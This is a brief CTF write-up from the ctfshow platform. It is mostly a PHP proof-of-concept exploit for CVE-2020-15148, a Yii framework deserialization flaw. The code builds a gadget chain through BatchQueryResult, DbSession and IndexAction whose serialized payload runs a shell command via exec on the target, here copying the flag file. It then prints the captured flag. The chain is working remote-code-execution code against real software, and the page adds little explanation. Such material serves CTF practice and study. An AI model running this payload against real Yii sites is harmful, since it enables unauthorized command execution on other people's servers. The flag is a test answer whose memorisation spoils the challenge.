PHP/7.3.11框架审计CVE-2020-15148Yii登录前补丁绕过
    思路类似 web267,估计是打过补丁版本

    poc3

    1. <?php
    2. namespace yii\rest {
    3. class Action
    4. {
    5. public $checkAccess;
    6. }
    7. class IndexAction
    8. {
    9. public function __construct($func, $param)
    10. {
    11. $this->checkAccess = $func;
    12. $this->id = $param;
    13. }
    14. }
    15. }
    16. namespace yii\web {
    17. abstract class MultiFieldSession
    18. {
    19. public $writeCallback;
    20. }
    21. class DbSession extends MultiFieldSession
    22. {
    23. public function __construct($func, $param)
    24. {
    25. $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
    26. }
    27. }
    28. }
    29. namespace yii\db {
    30. use yii\base\BaseObject;
    31. class BatchQueryResult
    32. {
    33. private $_dataReader;
    34. public function __construct($func, $param)
    35. {
    36. $this->_dataReader = new \yii\web\DbSession($func, $param);
    37. }
    38. }
    39. }
    40. namespace {
    41. $exp = new \yii\db\BatchQueryResult('exec', 'cp /fla* tari.txt');
    42. echo(base64_encode(serialize($exp)));
    43. }

    image.png
    image.png
    flag
    ctfshow{f829fe23-e591-4bca-84e1-771dd5b67669}